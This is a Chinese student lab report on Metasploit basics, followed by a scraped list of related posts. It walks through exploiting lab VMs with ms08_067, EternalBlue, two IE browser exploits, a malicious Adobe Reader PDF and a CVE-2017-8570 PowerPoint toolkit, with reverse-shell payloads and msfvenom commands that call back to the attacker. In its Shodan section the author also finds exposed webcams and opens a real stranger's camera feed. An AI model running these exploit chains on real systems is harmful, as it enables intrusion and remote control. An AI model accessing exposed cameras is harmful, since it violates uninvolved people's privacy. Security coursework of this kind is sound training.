目录


实验目的

  • 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路

返回目录


实验内容

返回目录


基础问题

  • 用自己的话解释什么是exploitpayloadencode
  • exploit:利用漏洞,达到攻击控制受害机的一种手段
  • payload:载荷,含有执行攻击的代码,来实现任何运行在受害者环境中的程序所能做的事情
  • encode:对攻击代码进行伪装,使其能正常运行并尽量免杀

返回目录


相关知识

关于MSF

  • 主要模块:渗透攻击模块(Exploit Modules)辅助模块(Auxiliary Modules)攻击载荷(Payload Modules)空字段模块(Nop Modules)编码模块(Encoders)后渗透攻击模块(Post)

    • 查看模块源码的目录:/usr/share/metasploit-framework/modules
    • 进入某个模块可通过info查看其信息,观察其要设置的信息(带yes的为需要设置的,若有默认值则不用 设)、可以攻击的靶机(target)

  • 三个用户操作界面
    • msfconsole:msfconsole
    • Armitage
      • 启动:
        service postgresql start
        armitage
      • 在kali中就是下面的妹纸,也可点击图标启动

      • 随后配置端口
      • 使用:点击connectyes

      • 界面如下

    • Web GUI
  • 攻击方式
    • 主动攻击

      • 搜索漏洞:search cve:2018 type:exploit platform:windows(cve后为漏洞年份)
      • 也可以:help search查看命令格式

    • 攻击浏览器,获取系统控制权
       use exploit/windows/browser/ie_setmousecapture_uaf
      info
      设置参数 payload options
      exploit
      上钩后
      use auxiliray/server/browser_autopwn
    • 攻击客户端应用,获取系统控制权
      • 攻击Adobe Reader
        use exploit/windows/fileformat/adobe_cooltype_sing
        info
        search type:exploit name:Excel platform:windows

返回目录


实验步骤

一个主动攻击实践

ms08_067

攻击方:kali10.0.0.217 靶机:Win2kServer_SP0_target10.0.0.112

ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到这个端口,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。

  • 我们首先可以使用Armitage根据网段搜索出靶机:Hosts-Nmap Scan-Quick Scan(OS detect)(可以自动探测目标主机的操作系统)

  • 找到我们的靶机

  • 对靶机右键选择Services,查看靶机上开启的服务,有如下服务:

  • 对靶机右键选择Scan(Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据)

  • 菜单栏中点击Attacks-Find Attacks,Armitage会自动寻找合适的攻击模块,结束会出现下图

  • 此时我们先对靶机右键选择Attack-smb-check exploits检测哪些漏洞是存在的

  • 这是可以选择Attack-smb-ms08_067_netapi自动攻击,设置端口为5330,标记Use a reverse connection,点击Launch

  • 发现失败。。(注意这里自动攻击会有默认的payload)

  • 下面我们进入console手动换一种payload
    use exploit/windows/smb/ms08_067_netapi //选择攻击模块
    set payload generic/shell_reverse_tcp //选择攻击载荷
    show options //查看配置信息
    show targets //查看可攻击的平台
    set RHOST 10.0.0.112 //设置靶机IP,端口默认为445
    set LPORT 5330 //成功后回连主机端口5330
    set LHOST 10.0.0.217 //设置攻方IP
    set target 1 //这里为win2k(可通过“show targets”查看可攻击的平台)
    exploit //发起渗透攻击
  • 攻击成功!

  • 对靶机右键选择shell 1- interact,先输入run在输入dir查看目录信息

  • 使用msfconsole效果如下

ms17_010永恒之蓝

攻击方:kali 10.0.0.138 靶机:Windows7 x64 10.0.0.216

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)

  • 进入msfconsole通过search MS17_010 platform:windows查看其可用模块,我们选择第一个exploit/windows/smb/ms17_010_eternalblue

  • 输入以下命令
    use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块
    show payloads //显示可用攻击载荷
    set payload windows/x64/meterpreter/reverse_tcp //设置tcp反向连接
    info //查看需要配置的信息及可攻击的target
    set RHOST 10.0.0.216 //设置靶机IP
    set LHOST 10.0.0.138 //kali IP
    set LPORT 5330 //设置攻击端口
    set target 0 //设置win7靶机
    exploit //发起渗透攻击
  • 攻击成功

  • 查看IP验证在继续后面的命令操作


一个针对浏览器的攻击

ms11_050

攻击方:kali 10.0.0.138 靶机:Windows7 x64 10.0.0.216 浏览器:IE 8.0

  • kali中输入msfconsole进入控制台,依次输入以下指令
    use windows/browser/ms11_050_mshtml_cobjectelement //选择攻击模块
    set payload windows/meterpreter/reverse_http //设置http反向连接
    set SRVHOST 10.0.0.138 //设置靶机要回连的IP地址
    set LHOST 10.0.0.138 //kali IP
    set LPORT 5330 //设置攻击端口
    set URIPATH 20165330zyx //统一资源标识符路径设置
    exploit //发起渗透攻击
  • 在浏览器输入http://10.0.0.138:8080/20165330zyx,IE出现警告弹窗,提示关闭程序

  • 来看msfconsole这边,没啥反应

  • 参考学姐博客,在IE中点击工具-Internet选项,修改如下安全设置



  • 在进到地址,这回提示运行不正常的加载项或恶意加载项导致 Internet Explorer 关闭此网页

ms14_064

攻击方:kali 10.0.0.138 靶机:WindowsXP 10.0.0.171 浏览器:IE 8.0

此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。

  • 进入msfconsole通过search ms14_064 platform:windows查看可选攻击模块,这里选用exploit/windows/browser/ms14_064_ole_code_execution

  • 执行以下命令
    use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
    show payloads //显示可用攻击载荷
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    info //查看详细信息(发现可攻击winXP和win7)
    set SRVHOST 10.0.0.138 //设置攻方IP
    set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
    set LHOST 10.0.0.138
    set LPORT 5330
    set target 0 //设置winXP靶机
    exploit //发起渗透攻击
  • 将生成的URL地址在winXP的IE中打开,发现成功建立了两个会话

  • 此时可以用ctrl+c退出当前状态,通过输入sessions -i 1获取第一个会话连接,并输入ipconfig验证是否为靶机地址


一个针对客户端的攻击

Adobe

攻击方:kali 10.0.0.138 靶机:WindowsXP 10.0.0.171 Adobe Reader:9.3.0

  • kali输入msfconsole进入控制台,依次输入以下命令
    use windows/fileformat/adobe_cooltype_sing //选择攻击模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    set LHOST 10.0.0.138 //kali IP
    set LPORT 5330 //设置攻击端口
    set FILENAME 5330.pdf //设置生成的pdf文件名
    exploit //发起攻击

    此时生成5330.pdf,我们进入保存目录cd /root/.msf4/local,输入cp 5330.pdf /mnt/hgfs/vm复制到共享文件夹中,在移到windowsXP虚拟机中

  • 控制台中输入back退出当前模块,输入以下命令进入监听模块:
    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
    set LHOST 10.0.0.138 //kali IP
    set LPORT 5330 //设置攻击端口
    exploit //监听
  • 靶机中打开pdf文件

  • kali中发现回连成功,输入ipconfig确认是否会连正确

  • 发现无误,就可以继续后续的命令操作了
CVE-2017-8570

攻击方:kali 10.0.0.138 靶机:WindowsXP 10.0.0.216 Microsoft Office:2016 (64-bit edition)

  • 2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上已经出现该漏洞的利用代码,影响范围较广。
  • 该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。
  • 下载Exploit toolkit CVE-2017-8570

  • 解压文件后进入该目录,生成恶意PPSX文件:python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://10.0.0.138/logo.doc(IP为攻方IP)



    PS:用的时候会报错No such file or directory: 'template/template.ppsx',只要在里面创建文件夹template,将template.ppsx挪到template里即可成功。

  • 生成反弹shell的exe文件:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.138 LPORT=5330 -f exe > shell.exe(因为我的win7为64位命令中需要加入x64,IP为攻方IP)

  • 监听来自ppsx执行反弹shell:python cve-2017-8570_toolkit.py -M exp -e http://10.0.0.138/shell.exe -l shell.exe

  • 进入msfconsole监听

    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 10.0.0.138
    set LPORT 5330
    exploit
  • 将生成的Invoice.ppsx传至安装有Microsoft Office 2016的win7上,并打开该文件

  • 发现回连成功


成功应用任何一个辅助模块

  • msfconsole中可通过命令show auxiliary查看所有的辅助模块
  • 这里我选用了gather/shodan_search,使用shodan来搜索网络摄像头
  • 关于shodan
    • Shodan是互联网上最可怕的搜索引擎。
    • 与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
    • Shodan所搜集到的信息是极其惊人的。凡是链接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。其真正值得注意的能力就是能找到几乎所有和互联网相关联的东西。而Shodan真正的可怕之处就是这些设备几乎都没有安装安全防御措施,其可以随意进入
    • 更详细的介绍可参考这里
  • 下面我们开始按以下步骤运用
    • 进入shodan_search模块:use auxiliary/gather/shodan_search
    • 查看需要设置的信息有哪些:show options



      发现我们需要设置APIKEY和QUERY,另外显示yes的两个都有默认值不用设置。
    • 先去shodan官网注册账号,登陆查看账户API后设置APIKEY:set SHODAN_APIKEY tPZf7UpklnPZ*********JFz567WYbt
    • 设置查询网络摄像头的语句:set QUERY "webcamXP"
    • 执行:run
  • 然后看到结果(下图为部分结果)



    在结尾处会有[*] Auxiliary module execution completed 显示
  • 现在我们随便选一个IP:Port,复制到浏览器中看看可不可以看到画面(选了一个Slovenia斯洛文尼亚共和国地方的。。。总觉得有点恐怖。。)

返回目录


离实战还缺些什么技术或步骤?

  • 目前我们对某个漏洞的攻击还是针对与网上搜索的资料和步骤,使用的也是很通用的攻击手段,但是攻击平台其实众多,我们的灵活性还不够高,并且攻击的对象大部分也比较单一,对更高系统的攻击的实现还是需要去开发的。

实验总结与体会

  • 此次实验是开始实战的很渺小的一部分,却足以让我花费很多心力,从搜寻攻击模块到找到看得懂的payload,在寻找靶机,攻击步骤很明确,攻击过程却略显心酸,好在最后大部分还是都成功了,我对MSF的掌握也更深了一步,也使得我的实践能力更高了一层~

参考资料

2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. linux随机数生成

    随机数多应用在密码的随机生成 #随机数生成 $RANDOM (1-32767) 11.内部系统变量($RANDOM) 1-32767 22. awk 'BEGIN{srand();print rand ...

  2. Self-Host c#学习笔记之Application.DoEvents应用 不用IIS也能執行ASP.NET Web API

    Self-Host   寄宿Web API 不一定需要IIS 的支持,我们可以采用Self Host 的方式使用任意类型的应用程序(控制台.Windows Forms 应用.WPF 应用甚至是Wind ...

  3. VPS、虚拟主机、云主机的区别

    引用知乎网友通俗的例子解释: 1. 小王是深圳的一拆迁户,有钱任性:自己租了一块地皮[带宽],盖了一栋10000平方的房子[服务器],计划租给别人赚钱.2. 但是10000平方的房子太大,能租起的人太 ...

  4. iScroll的使用

    CDN: <script src="//ossweb-img.qq.com/images/js/iscroll_library/iscroll-5.2.0.js">&l ...

  5. MySQL架构总览->查询执行流程->SQL解析顺序

    Reference:  https://www.cnblogs.com/annsshadow/p/5037667.html 前言: 一直是想知道一条SQL语句是怎么被执行的,它执行的顺序是怎样的,然后 ...

  6. 微信公众号平台上传文件返回错误代码:40005 invalid file type

    错误原因:文件类型(后缀名)不符合要求. 具体到笔者的情况是:在将 MultipartFile 类型转换为File 类型时,方法 File.createTempFile("filename& ...

  7. Cordova Error: cmd: Command failed with exit code ENOENT

    执行Cordova platform add android时提示:Error: cmd: Command failed with exit code ENOENT. 网上搜索后得到如下结果: 比对着 ...

  8. js date 前一天

    Date.prototype.Format = function (fmt) { var o = { "M+": this.getMonth() + 1, //月份 "d ...

  9. python pyenv

    使用pyenv安装多个版本的python 管理多个python环境使用 virtualenv 请看  http://www.cnblogs.com/juandx/p/5357518.html 安装py ...

  10. 揭秘Java热部署原理及JRebel(Hotcode)的实现原理

    基础知识:class卸载.热替换和Tomcat的热部署的分析HotSwap:HotSwap和JRebel原理成熟的热部署技术实现原理:深入探索 Java 热部署 java的热部署和热加载